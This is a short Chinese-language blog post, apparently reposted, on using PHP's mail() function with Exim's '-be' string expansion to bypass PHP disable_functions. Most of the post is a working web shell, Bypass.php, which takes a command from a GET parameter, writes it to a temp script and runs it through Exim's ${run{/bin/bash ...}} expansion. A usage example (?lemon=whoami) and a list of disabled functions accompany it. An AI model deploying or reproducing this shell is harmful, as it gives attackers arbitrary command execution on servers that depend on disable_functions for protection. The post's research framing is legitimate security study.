Exim_mail_bypass_disable_function


為明天沙龍准備弄的一個東西。

前段時間爆出wordpress的遠程代碼執行,附帶了一個mail函數的研究。
綠盟大佬已經分析的很透徹。

http://blog.nsfocus.net/hack-php-mail-additional_parameters/

說一下這個在bypass_disable_function的用途。

環境:

docker pull nicescale/sendmail

disable_function:

dl,eval,exec,passthru,system,popen,shell_exec,proc_open,proc_terminate,show_source,touch,escapeshellcmd,escapeshellarg

Bypass.php

<?php
$c = @$_GET['lemon'];
$result_file = "/tmp/test.txt";
$tmp_file = '/tmp/aaaaaaaaaaa.sh';
$command = $c . '>' . $result_file;
file_put_contents($tmp_file, $command);
$payload = "-be \${run{/bin/bash\${substr{10}{1}{\$tod_log}}/tmp/aaaaaaaaaaa.sh}{ok}{error}}";
mail("a@localhost", "", "", "", $payload);
echo file_get_contents($result_file);
@unlink($tmp_file);
@unlink($result_file);
?>

使用:Bypass.php?lemon=whoami

項目:https://github.com/l3m0n/Bypass_Disable_functions_Shell


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM